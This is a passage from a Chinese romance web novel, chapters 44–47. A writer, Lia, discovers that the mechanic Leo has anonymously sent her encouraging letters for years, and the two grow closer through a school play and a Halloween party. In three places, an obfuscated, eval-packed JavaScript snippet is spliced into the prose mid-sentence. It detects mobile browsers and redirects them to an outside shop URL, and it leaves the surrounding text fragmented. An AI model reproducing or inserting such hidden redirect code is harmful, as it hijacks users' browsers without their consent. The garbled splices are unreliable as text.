他把做好的两片果酱面包递给莉娅，自己则直接拿着剩下的面包啃了一口。 “只有这个。”他说。 莉娅接过面包，咬了一口。面包确实有点硬，但黄油和酸甜的果酱混合在一起后，味道简单却让人满足。 他们就这样站在工作台边安静地吃着这顿再简陋不过的早餐，气氛有些微妙，亲密过后日常的相处似乎还需要一点时间来重新适应。 扳手凑过来眼巴巴地看着，利奥掰了一小块没涂酱的面包边扔给它。 雨声不知何时渐渐小了下去，最终变成了淅淅沥沥的尾声，最后完全停了。阳光挣扎着从散开的云层后透出来，照亮了修理铺里飞舞的尘埃。 * 雨后的空气格外清新，阳光洒下，世界像是被洗过一样干净。 莉娅推着那辆白色自行车，准备回家。 “地上都是泥水不好骑。我送你。”利奥说着，走向停在修理铺旁边的那辆旧皮卡。他打开后备箱，里面有些工具和杂物，他三两下清出空间，轻松地将莉娅的自行车拎起来放了进去。 莉娅没有拒绝，坐上了副驾驶。 利奥发动车子，引擎发出沉稳的轰鸣。 车子驶过小镇湿漉漉的街道，轮子碾过积水坑溅起细小的水花。湖泊的水位明显上涨了，水面浑浊，几乎要漫到路边，倒映着湛蓝如洗的天空和洁白的云朵。 一路上两人都没怎么说话，利奥专注地开着车，偶尔瞥一眼窗外的湖面。 莉娅则看着窗外飞逝的风景。 车子停在莉娅家老屋的门口，莉娅正准备下车，却看到屋前的门廊下站着一个男人。 男人穿着一身熨帖的深灰色西装，手里拿着一个公文包，正有些焦躁地看着手表。 一看到莉娅从皮卡上下来，男人立刻松了一口气，快步迎了上来：“莉娅，谢天谢地，终于找到你了。” 莉娅认出了他，是她在纽约的出版编辑助理：“马丁，你怎么会来这里？” “我给你公寓打电话没人接，问了几个你可能联系的朋友，最后才想到你可能是回橡林镇了。”马丁语速很快，带着焦虑，“你的稿子，出版社那边催得很紧，有几个重要的修改点需要和你当面敲定。还有下个月的朗读会，场地和宣传细节……” 他絮絮叨叨地说着工作上的事，语速快得让人插不上嘴。 利奥也已经下了车，倚在皮卡的车门上，看着这个突然出现的、穿着西装的男人，脸上没什么表情，只是安静地抽出一支烟点上。 他看起来像是个局外人，与眼前这番对话毫无关系。 44. chapter 44 马丁这才注意到利奥，目光在他沾着油污的工装裤和身后的旧皮卡上扫过，然后转向莉娅，语气带着点抱怨：“莉娅，你那天突然留消息说要离开休个假，好多事情都没交代清楚，可把我忙坏了。” “抱歉马丁，有些事情需要处理。” 利奥这时咳了一声，不算大声，但足以引起注意。 莉娅反应过来，为两人介绍：“马丁，这是我的出版编辑助理。马丁，这是利奥·米勒，我的……”她顿了一下，还寻找不到一个合适的词形容两人的关系。 马丁出于礼貌对利奥点了点头，算是打过招呼，然后立刻又转向莉娅，他压低了一点声音但依旧能被听到：“这地方可真……安静，为什么选来这里？感觉一路上所有人都在看我。” 他有些不自在地扯了扯自己的领带。 莉娅看了一眼他笔挺的西装，淡淡地说：“在这里，几乎没有人穿西装。” 马丁有些尴尬地笑了笑。 莉娅打开房门：“进来喝杯茶吧，路上辛苦了。” 马丁显然求之不得，立刻点头：“太好了，正好我们可以尽快谈谈稿子的事。” 莉安又看向利奥，他吸了口烟，烟雾从鼻腔缓缓吐出。然后摇了摇头，声音平淡：“不了你们谈，我回去了。” 他掐灭了烟头，拉开皮卡的车门。 莉娅看着他，张了张嘴，最终只是说：“好，路上小心。” 利奥点了点头，发动车子，掉头离开了。 马丁跟着莉娅走进老屋，他锃亮的皮鞋踩在地板上，当他的目光落在客厅中央那块彩色玻璃时，脚步不由得顿住了。 “哇，”马丁由衷地惊叹出声，西装革履的拘谨似乎被这奇景冲淡了些，“莉娅，这太……太有感觉了，你真会生活，这比那些刻意营造氛围的咖啡馆棒多了。” 莉娅笑了笑，没多做解释：“你先坐，我去泡茶。” 她走向厨房。 马丁避开地上的光斑，在莉娅之前常坐的那张旧摇椅上坐下，好奇地打量着四周。屋子收拾得很干净，虽然家具简单，但透着一种温馨的痕迹。 莉娅端来两杯热茶，递给马丁一杯，“你刚才说的工作，”她切入正题，“哪些是可以推掉或者延后的？我过几天要去看学校话剧社根据我早期故事改编的演出。而且，我打算长期留在小镇了。” 马丁刚端起茶杯，闻言差点呛到，他放下杯子，脸上写满了错愕：“长期？莉娅你开玩笑吧？你的事业刚有起色，接下来正是关键时期……” “我不是在征求同意马丁，我希望你能协助我调整后续的工作安排。” 马丁看着她的眼神，知道这不是一时冲动。 他叹了口气，揉了揉眉心：“好吧，好吧……我会尽量协调。但明天早上的那个电台访谈，是早就定好的，对方很重视推不掉。你必须得跟我回去一趟，至少把这个完成。” 莉娅沉吟了一下，点了点头：“可以。” 马丁像是想起什么，从随身携带的公文包里拿出一个厚实的牛皮纸文件袋，递给莉娅：“对了，这里是一些你的读者来信，我一直帮你收着。好像有不少是……从同一个区域寄来的，是你的忠实读者？” 莉娅接过文件袋，分量不轻。 她打开里面是厚厚一叠信件，信封上的寄件人地址很多都是这个小镇的，寄件人名字五花八门，有些一看就是化名，比如“湖畔钓客”、“松果先生”、“安娜厨房的常客”、“鲈鱼爱好者”…… 莉娅看着这些名字，嘴角泛起柔和的笑意：“都是镇上认识的人，为了鼓励我写的。” 她解释说。 “那你都能对上号吗？”马丁好奇地问。 莉娅尝试着指认：“湖畔钓客大概是老汤姆，他整天在码头钓鱼。松果先生可能是杂货店的哈里叔叔，他总爱收集松果做装饰。安娜厨房的常客……估计就是安娜阿姨自己，她可真不谦虚。” 她一边说，一边翻看着信件，指尖忽然停在一个信封上。 寄件人署名只有一个简单的字母“L”，地址是打印的，就是小镇的邮箱编号。 “这个……好像没听说过。”莉娅拿起那封信，信封很普通。 “新的读者？”马丁凑过来看了一眼。 莉娅拆开信，里面只有一张便签纸，上面是打印的寥寥数语，没有称呼，没有落款： 「故事很好看，都很好看。」 字句简短，措辞平淡。 莉娅看着看着站起身，走到书房一个靠墙放着的旧木箱前。 箱子里整整齐齐地码放着她多年来收到的所有读者来信，按照时间和寄件人姓氏首字母排列得很好。这是她的习惯，每一次积攒够多都会把这些信小心地带来橡林镇。 她开始飞快地翻找，专门挑出那些署名简单、或者来自小镇、且似乎只写过一次信的。她找到了“收音机”，“一个朋友”…… 莉娅将信纸抽出，仔细比对上面的打印字体和措辞习惯。 那些简短的句子，有时是关于她发表在杂志上的某篇小文章的感想，有时是对她笔下某个细节的认可，在她第一次获奖时有一封信只写了“实至名归”四个字，而在她某本书被苛刻的评论家抨击得体无完肤时，有一封信写道：“别管他们，你写得对。” 笔迹或许因时间和打印机不同略有差异，但那种风格…… 她终于确认了。 不是偶尔，是从她最早开始发表文章起，到她每一本重要的作品面世，无论是高光时刻还是至暗时刻，他一直都在。 马丁被莉娅突然的举动弄得有些不安，他看了看手表，出声提醒：“莉娅？那个……电台访谈的事，我们得尽快动身了，明天一早就要准备。有些工作能推，但这个真的……” 莉娅深吸一口气，强迫自己回过神来。 她将那些特殊的信件小心地收好，放回木箱：“我知道了。” 她的声音有些发飘，“我跟你回去。” * 返回城市的旅程中，莉娅一直有些心不在焉。她几次尝试拨打利奥的电话，但听筒里传来的只有单调的忙音。他修理铺里那部老式转盘电话，大概又被他拔了线，或者他根本就没在意铃声。 马丁似乎察觉到了她的异样，试图找些话题：“在小镇上呆了这么久，有没有捕捉到什么新的灵感，我看你气色比在纽约时好多了。” 莉娅望着车窗外飞速倒退的风景，高楼大厦逐渐取代了田园风光。 “写了一些随笔，”她轻声说，“关于小镇的人，日常的事。” “那很好啊，”马丁立刻表现出职业兴趣，“回头拿给我看看，筛选一下，说不定可以编成一本故事集，你现在需要保持创作活力。” 莉娅点了点头，没再多说。 回到她位于城市喧嚣中的出租公寓，公寓整洁却缺乏生活气息，莉娅没有耽搁，开始着手整理个人物品。 她这次回来，目的明确。处理完必要的工作，然后就搬回小镇，不再回来了。 在整理书架和文件柜时，她又翻出了几个纸箱，里面也是读者来信，是之前几次还没来得及全部带回橡林镇的部分。 她坐在地板上，耐心地从中筛选出所有来自小镇地址、且疑似是利奥笔迹的信件。 她一封封地重新阅读，内容果然都极其简短： 「看了，挺好。」这是在她第一篇发表的短文时的读者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943210|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来信。 「继续写。」在她一度想要放弃的时候的来信。 没有华丽的辞藻，没有热情的赞美，每一封信都像他本人一样。 莉娅坐在地板上，久久没说话， 之后工作间隙，她走到狭小的阳台透气，城市的噪音扑面而来。 马丁跟了出来，递给她一杯水。 “想回小镇，”他靠在栏杆上，看着楼下车水马龙，“是因为早上那个……人吗？” 他斟酌了一下用词。 莉娅摇了摇头，目光望着远处灰色的天际线：“不全是，小镇是故事的根基，是我的灵感来源，我……应付不来这里的节奏。” 马丁笑了笑，带着点了然：“我理解，不过……”他顿了顿像在回忆，“说起来早上那个男的，我总觉得好像在哪里见过他似的，有点面熟。” 莉娅转过头，有些意外：“会吗？” 马丁耸耸肩：“可能记错了，或者只是长得像某个电影明星。”他开了个拙劣的玩笑。 莉娅没有笑，她再次拿出手机，深吸一口气，又一次按下了利奥的号码。这一次在几声长长的等待音后，电话竟然接通了。 听筒那边没有说话，只有沉稳的呼吸声，透过电波传来仿佛带着修理铺里的空气。 莉安张了张嘴，一时竟不知该说什么。 “……喂？”电话那头，终于传来了利奥低沉而熟悉的声音。 电话接通后，短暂的沉默里只有电流的微噪和彼此透过听筒传来呼吸声。 莉娅手指不自觉地收紧：“怎么一直不接电话？” 电话那头，利奥沉默了两秒才回答，声音透过听筒有些失真：“在车底弄分动箱，手上都是油。” 理由简单，直接。 莉娅几乎能想象出他满手油污、从某台车底下钻出来，皱着眉接起电话的样子。她没有提起那些信，那个刚刚发现的、撼动了她内心某个基石的秘密。 现在不是说这个的时候，或者说她还没想好该如何开口。 “现在……忙吗？”她换了个问题。 “刚弄完。”他回答。 然后对话内容又中断了，莉娅能听到他那边隐约传来敲击声，或许还有扳手爪子划过水泥地的细微声响。而他大概也能听到她这边城市夜晚模糊的车流声。 两人谁都没有再开口，只是听着对方的呼吸，平稳而绵长。 过了很久，久到莉娅几乎要沉溺在这片安静的共处中时，她才再次开口，语气里带着连她自己都意外的笑意，她叫了他的全名：“利奥·米勒。” 她停顿了一下，像是在品味这个名字，然后才带着那点笑意轻声问：“你之前……是不是有点吃醋？” 在面对马丁的时候。 电话那头骤然传来“哐当”一声闷响，像是什么金属工具掉在了地上，或者是他不小心撞到了工作台。紧接着是一阵有些混乱的杂音，似乎是他快速移动了一下。 “没有。”他的否认来得快，声音比刚才紧绷了些，“胡说什么。” 莉娅嘴角的弧度加深，她能想象出他此刻可能有些狼狈、又强装镇定的模样：“哦，那好吧。” 她没再追问，适可而止。 这时，马丁在那边扬声催促了她一句，大概是关于明天访谈的细节还需要确认。 “我这边还有点事要处理。”莉娅对电话那头说，“手上的工作做完，大概……明晚才能回到小镇。” “嗯。”利奥应了一声，听不出情绪。 “那……先这样。” “路上小心。” 电话挂断，听筒里只剩下忙音。 莉娅握着手机，又在原地站了一会儿。 45. chapter 45 修理铺里，利奥放下那个老式电话的听筒，他低头看着自己粗略擦过的手。扳手凑过来，歪着头看他。 吃醋？ 他在吃醋吗？ 他烦躁地扒拉了一下头发，拿起一把扳手，对着一个已经拧得紧紧的螺丝，又用力地拧了两圈才停下。 那个穿着西装、看起来和莉娅的世界如此契合的男人……他用力甩甩头，试图把那个画面和莉娅带着笑意的声音从脑子里赶出去。他不需要想这些，他只需要把这些铁家伙修好。 他重新蹲下身，修理东西比思考那个问题要简单得多。 第二天的工作安排紧凑而高效。 莉娅完成了电台访谈，又和马丁一起处理了几项紧急事务。傍晚时分她终于拖着疲惫却归心似箭的身体，以及几个装满了个人物品的纸箱和行李箱，踏上了返回小镇的旅程。 当车子终于停在那栋熟悉的老屋前时，夜幕已经降临，湖面映着稀疏的星光和对岸小镇的灯火，宁静而安详。莉娅打开门，将行李一件件搬进去，屋子里还维持着她离开时的样子，彩色玻璃在夜色中只剩下模糊的轮廓。 她没有急着开大灯，只点亮了客厅一盏温暖的落地灯。 开始拆包整理，先将那个装着珍贵读者来信的木箱小心地搬到书房靠窗的位置，轻轻拂去表面的浮尘。那些署名各异的信封，尤其是那叠属于“L”或其它简单代号的信被她单独取出，放在书桌最上面的抽屉里。 然后是她从出租屋带回来的衣服，大多是舒适的棉麻材质，与她留在小镇的衣物风格统一，她将它们一一挂进衣柜，或叠好放入抽屉。书籍和稿纸占据了另一个箱子，她按类别将它们放回书架。 整个过程有序，将过去与现在、城市与小镇的生活痕迹，一点点融合进这个真正属于她的空间。 她推开客厅的窗户，夜晚微凉的、带着湖水气息的风立刻涌了进来，吹散了屋内的沉闷。莉娅深深吸了一口气，看着窗外黑暗中那片属于湖泊的轮廓，心终于彻底安定下来。 就在这时敲门声响起，莉娅的心跳快了一拍。 她走到门边，打开门。 门外站着利奥，他换下了工装，穿着一件干净的深色T恤和牛仔裤，身上似乎还带着淡淡的皂角味和水汽。 他手里提着一个印着“黛西小厨”字样的纸袋，里面散发出食物温暖的香气。 他看到屋内散落的纸箱和打开的行李，目光扫过一圈，然后举了举手中的纸袋，声音一如既往的平稳：“宵夜，老杰克说你看起没什么存货。” 莉娅让开身，“进来吧，有点乱。” 利奥走进来，将纸袋放在门口唯一一张还算空置的小几上。他看了一眼堆在客厅中央的书籍和杂物，没说什么，直接卷起了T恤的袖子。 “这个放哪里？”他拿起一个装着沉重书籍的纸箱，问道。 “那边书架下面，谢谢。”莉娅指了个方向。 两人便开始一起收拾，利奥负责搬运重物和整理高处，莉娅则负责分类和归置，偶尔会有简短的对话。 “话剧社的演出，是后天？”利奥将一摞书塞进书架顶层，问道。 “嗯下午三点，帕姆老师紧张得这几天都没睡好。”莉娅一边将衣服挂进衣柜一边回答。 整理告一段落，客厅终于恢复了基本的整洁。她看向利奥，昏黄的灯光下他的轮廓显得比平时柔和。 “要留宿吗？”她问，语气自然。 利奥看了一眼沙发，又看向她，摇了摇头：“不用，我家就在旁边。” 他顿了顿，补充道，“我们是邻居。” 莉娅笑了笑，没有坚持：“那么，晚安。” 利奥站在门外的夜色里，看着她，点了点头。 “明天见。”他说。 “明天见。” 门轻轻关上，莉娅背靠着门板，听着他沉稳的脚步声逐渐远去，直到消失在夜晚的寂静里。 明天，又是新的一天。 * 橡林镇中学礼堂门口，一张手绘的海报格外醒目。 海报上一个扎着马尾的女孩手握一把看起来像是木头和锡纸做成的宝剑，面对着一只用绿色皱纹纸和亮片拼贴出的阴影巨兽。 海报上用鲜艳的颜料写着：“银月森林的冒险，橡木镇中学话剧社倾情呈现。” 下面还有一行小字：“原著：莉娅·罗斯。” 后台，帕姆老师的声音穿透嘈杂：“丽莎，你的精灵耳朵要掉了。比利，别再把你的树精叶子当扇子了，那是你的皮毛。” 莉娅正蹲在一个扮演小精灵的女孩面前，小心地用特殊的戏剧胶水把用纸模和荧光粉做的耳朵重新粘牢。 女孩紧张地眨着眼睛：“莉娅姐姐，我好看吗？” “美极了，就像真正的月光精灵。”莉娅微笑着，轻轻捏了捏她的手，“记住，在舞台上你就是森林的守护者。” 她又走到主角“莉娜”身边，丽莎已经穿上了用旧窗帘布改成的“探险服”，腰间别着那把莉娅亲手参与制作的“宝剑”。 剑身是打磨光滑的木片，剑柄缠绕着金色的丝线，还镶嵌了一颗玻璃“宝石”。 莉娅帮她正了正宝剑，拍了拍她的肩膀，语气坚定：“准备好了吗勇士，去把属于森林的光明带回来。” 丽莎深吸一口气，重重地点头，小脸上满是使命感：“准备好了。” 这时一个脖子上挂着相机的高中生挤了过来，手里拿着笔记本和笔，显得有些腼腆但努力做出专业的样子：“罗斯小姐？我是校报的记者迈克。能占用您几分钟时间，采访一下关于这部话剧原著创作的事情吗？” 莉娅示意他走到稍微安静点的角落：“当然可以。” “请问您当初创作《银月森林的冒险》这个故事的意图是什么？是什么激发了您写下这个少女对抗恶龙……嗯，对抗阴影巨兽的故事？” 迈克认真地问道，笔尖悬在纸上。 莉娅想了想，她想起那个特别的圣诞节。 “那是我工作后第一次回到小镇，我自己尝试烤一只小火鸡，甚至自己去后院劈柴。当斧头劈开木柴发出清脆的声响时，我忽然感觉到一种……前所未有的力量感。源于自己双手的力量，那个瞬间莉娜和她的小伙伴们依靠团结和勇气战胜恐惧的念头，就自然而然地冒出来了。” 她笑了笑，“有时候，力量就藏在最简单的生活里。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951933|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >迈克飞快地记录着，然后抬起头，推了推眼镜，脸上露出一丝不太好意思的八卦神情：“呃，还有一个问题，可能有点冒昧……很多同学都看到您经常和修理铺的利奥·米勒先生在一起，大家都很想知道，你们……是什么关系呢？” 莉娅闻言，并没有生气。 她想起上次对马丁介绍时说没有说出口的称谓，这次她的目光越过小记者的肩膀，看到了那个刚刚走进后台入口的身影。 利奥显然是来帮忙的，大概是帕姆老师之前提过后台有些重物或者机械需要他看看。 莉娅对着小记者迈克眨了眨眼，手指轻轻点了点他身后的方向：“这个问题……或许你可以去采访一下他本人？他正好来了。” 说完，她趁着迈克愣神的功夫，灵活地转身溜回了忙碌的小演员中间，留下小记者面对着一脸不明所以、但气场天然的利奥。 话剧很快正式开始，帷幕拉开，简陋但充满童心的布景呈现在观众面前。 孩子们演技稚嫩，念台词有时会卡壳，动作也有些笨拙，但他们眼中闪烁的光芒和全身心的投入，却比任何华丽的演出都更能打动人心。 当“莉娜”最终举起那把手工宝剑，与小伙伴们一起驱散了“阴影巨兽”时，全场响起了热烈的掌声。 帕姆老师在后台激动地抹着眼泪，这次威尔逊先生总不能再写满大半版差评了吧。 散场后，观众渐渐离去。 利奥留在后台，检查并帮忙拆卸那些用来升降布景的简易滑轮和绳索装置。莉娅走过去，自然地帮他扶住晃动的背景板。 “刚才那个小记者，”莉娅一边递给他需要的扳手，一边问，“他后来问你什么了？你怎么回答的？” 利奥正用力拧松一个生锈的螺栓，头也没抬，声音闷闷的：“没问。” “嗯？” “他看了我一会儿，什么都没问，就走了。”利奥终于拧松了螺栓，放下扳手，看了莉娅一眼。 莉娅愣了一下，随即忍不住笑出声来。 可以想象面对利奥那张没什么表情的脸，那个腼腆的小记者大概鼓起的勇气瞬间就泄光了。 “笑什么。”利奥嘟囔了一句，继续手里的活儿，但嘴角似乎也牵动了一下。 话剧成功演出后，慢慢到了十月。 枫树挥舞着赤红的火焰，橡树则抖落满地的鎏金。空气里弥漫着南瓜派、烤苹果和木头烟囱里飘出的暖烟。 今年秋天，为庆祝橡林镇高中建校几十周年，学生会与社区中心将联合举办一场盛大的万圣节派对，邀请全镇居民参加。 压轴戏是评选“最佳恐怖装扮”，获胜者将获得一个特制的、仿照老旧路标制作的“最佳恐怖王”标志，可以骄傲地插在家门口享受一整年的“荣耀”。 莉齐几乎是踹开门冲进莉娅的老屋的，手里挥舞着那张手绘的宣传单。 “莉娅看到了吗？看到了吗，‘最佳恐怖王’，老天还有什么比把这玩意儿插在‘鲈鱼喉‘门口更酷的事吗？让那些开车路过的人都看看” 她绕着莉娅转圈，“我们必须赢，从现在开始停止你所有关于湖泊和树木的抒情写作，我们的首要任务是思考装扮，缝制战袍。” 46. chapter 46 莉娅被她晃得头晕，笑着按住她的肩膀：“冷静点莉齐，离万圣节还有好几久呢。” “好久？时间紧迫。”莉齐一屁股坐在沙发上，抓起一个靠枕抱在怀里，眼睛闪闪发光，“我跟你说我小时候，在我们那里万圣节可是头等大事。那时候我爸妈忙没空给我弄那些商店里花里胡哨的昂贵衣服，我就扯下家里最好的一张白色床单，挖两个洞，往头上一披，就是个经典款的幽灵。然后拎着个旧枕头套，挨家挨户去敲门。” 她的声音带上了一丝怀念：“不给糖就捣蛋，我们一群小屁孩穿着自认为最恐怖的装扮，在黑漆漆的街道上疯跑。老约翰逊太太家给的总是那种硬得快能崩掉牙的太妃糖，但我们会去，因为她会假装被我们吓到，发出夸张的尖叫。史密斯先生家会给一整条巧克力棒，我们比较谁的糖果更多，谁的衣服最酷……有一次，我的床单勾在了栅栏上扯了个大口子，我回家还挨了顿骂，但我觉得值透了，因为那天我要到的糖最多。” 她叹了口气，把脸埋在靠枕里，闷闷地说：“好怀念啊……青春啊。” 随即她又抬起头，“要是奥黛丽那家伙在就好了，她肯定跟我一样兴奋。说不定她能想出什么惊世骇俗的点子，比如把自己扮成会走路的海藻怪，或者顶着个火山头饰。” 莉娅正在草图本上随意勾勒的手停了下来，嘴角泛起一丝笑意：“奥黛丽？她现在可能正在南美的某个雨林里跟着当地的部落学习用植物汁液在身上绘制图腾。” 她的声音渐渐低下去，思绪却飘回了更久远的万圣节。 那时候母亲还在。 母亲有一双巧手，会提前很久就开始为她缝制万圣节的公主裙。不是商店里千篇一律的款式，而是带着繁复蕾丝花边、蓬松得像云朵的华丽裙子。母亲甚至会给她穿上小小的裙撑，让她走起路来层层叠叠的裙摆像一朵盛开的重瓣花朵。 那时她还很小，总是紧紧牵着利奥姐姐南希的手。 南希是孩子王，最清楚镇上的“糖果地图”，比如哪家会给全手工制作的、裹着漂亮糖纸的太妃糖，哪家的老婆婆会慷慨地塞给你一大把进口巧克力，哪家的叔叔只会给几个干瘪的苹果。 他们一群孩子穿着各式各样的装扮，穿梭在秋夜凉爽的空气里。利奥通常会被他的姐姐们捎上，他那时还是个沉默但可靠的小男孩，常常扮演着骑士或者海盗，手里拿着木头剑或眼罩。 莉娅记得，利奥的两个姐姐会一边护着他们这两个小不点，一边互相炫耀谁要到的糖果更高级。 利奥则会默默地把看起来最好吃的巧克力分给她。 那种默契，从小就有。 后来南希和莎拉渐渐长大了，进入了觉得跟小屁孩一起要糖很幼稚的年纪。她们开始更愿意和同龄的朋友们结伴，于是莉娅和利奥就自然而然地组成了一对要糖搭档。 他依然是她的骑士，负责拎那个越来越沉的糖果袋，在她穿着繁复的公主裙不小心绊倒时总能及时地拉住她。 他们不需要太多言语，一个眼神就知道下一个目标该去哪家。 再后来……利奥的父亲去世了。 那之后他不再参加万圣节的活动。莉娅的万圣节搭档，也从利奥，变成了同样精力旺盛的奥黛丽。 * 几天后，莉娅去米勒太太家送一些自己烤的饼干。 她远远就看到米勒太太拄着拐杖，站在门廊下，正指挥着利奥布置万圣节的装饰。 “左边，左边再高一点。对，那个咧嘴笑的南瓜灯要放在最显眼的位置。”米勒太太的声音中气十足。 利奥依言调整着屋檐下那一串用黑色纸片剪成的、形态各异的蝙蝠。 门前的台阶上摆着几个刚刚雕刻好的南瓜灯，烛火在里面跳跃，门廊角落有几个巨大的南瓜，那是米勒太太特意从相熟农场主那里订购的，专门用于装饰，其中一个尤其硕大，橙黄色的表皮在夕阳下泛着光，圆滚滚的肚皮几乎能塞进一个半大的孩子。 “嗨，亲爱的。”米勒太太看到莉娅，立刻露出笑容，“快来尝尝我新做的南瓜籽糖，顺便看看我们家布置得怎么样。” 她递给莉娅一小包糖果。 莉娅道了谢，走到利奥身边。 他正蹲在地上，清理最后一个南瓜内部纤维。 利奥抬起头，额上带着细密的汗珠。他看了她一眼，算是打招呼，然后又低下头，用一把小铲子利落地将瓜瓤刮进一个桶里。 这些装饰用的南瓜肉质粗糙并不好吃，但米勒太太说瓜籽可以烤来吃，瓜肉或许可以喂给扳手或者堆肥。 “你会参加这次的派对吗？”莉娅蹲在他旁边，随手拿起一小段弯曲的南瓜藤把玩。 利奥动作没停，摇了摇头：“不会。” 他顿了顿，反问，“你们……做什么装扮？” “莉齐拍板了，”莉娅笑了笑，用南瓜藤轻轻碰了碰他的手臂，“僵尸新娘和僵尸伯爵，她负责伯爵，我当新娘。” 利奥点点头，似乎对僵尸这个主题不太感冒。 莉娅帮他扶着那个最大的南瓜，让他更方便地雕刻出狰狞的五官。看着跳跃的烛光在他专注的脸上，她轻声说：“我倒是希望你去。” 利奥雕刻的手停了下来。 他转过头，在南瓜灯摇曳的光晕里看向她：“那我要扮成什么？” 莉娅没想到他会这么问，愣了一下。 她看着他被机油略微染脏的工装裤，看着他结实的手臂和总是显得很可靠的宽厚肩膀，一个画面瞬间闯入脑海。 小时候，她穿着华丽的公主裙，而他总是那个配着木剑、守护在她身边的骑士。 她笑了起来：“扮成骑士好了。” 声音很轻，带着怀念，“就跟小时候一样。” 利奥凝视着她，看了好几秒，然后什么也没说，只是重新低下头，继续对付那个巨大的南瓜。 但莉娅看到，他的耳根似乎泛起了一丝微红。 莉娅又帮了一会儿忙，直到天色完全暗下来，所有的南瓜灯都点亮，将米勒家的前廊装点得既温馨又充满节日的诡趣。 她起身告辞。 在她转身准备离开时，一直沉默的利奥忽然在她身后开口，声音低沉，却清晰地传入她耳中： “比起骑士的话，我更想当王子。” 莉娅停住脚步，回头看到他依然背对着她，专注地看着那个最大的南瓜灯，仿佛刚才那句话是南瓜说的。 她脸上的笑容扩大，“王子也行。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962717|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她轻声回答，然后脚步轻快地融入了夜色。 * 万圣节之夜终于在孩子们的翘首以盼和莉齐近乎燃烧的激情中降临。 橡林镇高中体育馆被彻底改造成了一个光怪陆离的空间。 原本印着校徽和球队标志的墙壁被巨大的、仿照哥特式教堂设计的黑色布景板覆盖，上面画着扭曲的树枝和瞪大眼睛的乌鸦。 黑色垃圾袋拉伸而成的“蜘蛛网”覆盖了篮球框和部分天花板，上面挂着毛茸茸的塑料蜘蛛。 莉娅和莉齐盛装出场。 莉齐的“僵尸伯爵”堪称杰作，她不知从哪里弄来一件带着夸张垫肩的复古燕尾服，用红黑颜料泼洒出斑驳的“血渍”和“霉斑”。脸上扑了惨白的粉，画上深重的黑色眼影和裂开到耳根的嘴角，头发用发胶塑造成狂野不羁的形状。 她走起路来故意歪歪扭扭，喉咙里发出低沉的嘶吼，效果拔群。 莉娅穿着一件被故意染上暗红色“血迹”的旧婚纱，头纱破破烂烂地垂在身后。她的妆容没有莉齐那么夸张，只是脸色苍白，眼下带着青黑的阴影，手里捧着一小束干枯的玫瑰。 体育馆内，杂货铺的安娜阿姨扮演成一个胖墩墩的、抱着一个大南瓜篮子的女巫，她的扫帚看起来像是真的用了很多年，她正热情地给每个人分发她自制的怪味软糖。 邮局的老哈里斯先生则出人意料地扮演成了吸血鬼德古拉，穿着黑色斗篷，戴着夸张的塑料獠牙，用他那慢吞吞的邮差腔调对每个人说：“我要……吸……你的……血……，或者来点糖果也行。”惹得大家哈哈大笑。 一群高中生扮演成了席卷全球的恐怖电影里的连环杀手团队，脸上戴着苍白面具，手里拿着塑料电锯，嗡嗡地满场跑。 莉齐立刻拉着莉娅穿梭在人群中，她评估着潜在的竞争对手，莉娅笑着被她拖着走。 就在一首节奏强劲的舞曲响起，人群开始随着音乐摇摆时，莉娅在拥挤舞池的对面看到了利奥。 他来了。 利奥没有像她随口提议的那样扮成骑士。 他穿着一身再普通不过的深色工装裤和旧夹克，脸上甚至没有任何妆容。但是他头上戴着一个用硬纸板粗糙地糊成的、看起来有点像中世纪头盔，头盔只在眼睛处挖了两个洞。 除此之外，没有任何装饰，像是临时准备的装扮。 他就那样站在那里，高大的身形在奇装异服的人群中显得有些突兀，他隔着晃动的人影目光精准地锁定了她。 音乐声震耳欲聋，五彩的旋转灯球将光斑疯狂地投射在每个人身上。利奥开始移动，他逆着舞动的人群，一步步向她靠近。 莉娅看着他走到自己面前，头盔下的眼睛在昏暗的光线里显得格外明亮。她张了张嘴，声音被淹没在巨大的声浪里。 利奥微微俯下身，将头盔的耳朵部位凑近她：“什么？” 莉娅提高了音量，几乎是在他耳边喊：“我说，你怎么来了？” 利奥直起身，透过那个简陋的头盔直视着她的眼睛。音乐在此时恰好切换到一个短暂的间歇，他的声音不大，却清晰地穿透了残留的余音落入她的耳中： “因为你想要我来。” 他不常说这样直白的话。 47. chapter 47 莉娅感觉脸颊有些发烫，幸好有僵尸新娘的苍白妆容遮掩。 她弯起眼睛笑了，指了指他头上的头盔：“这是……骑士盔甲？” 利奥抬手敲了敲那硬纸板，发出沉闷的“叩叩”声，语气一本正经：“防御满分。” 莉娅笑得更开心了。 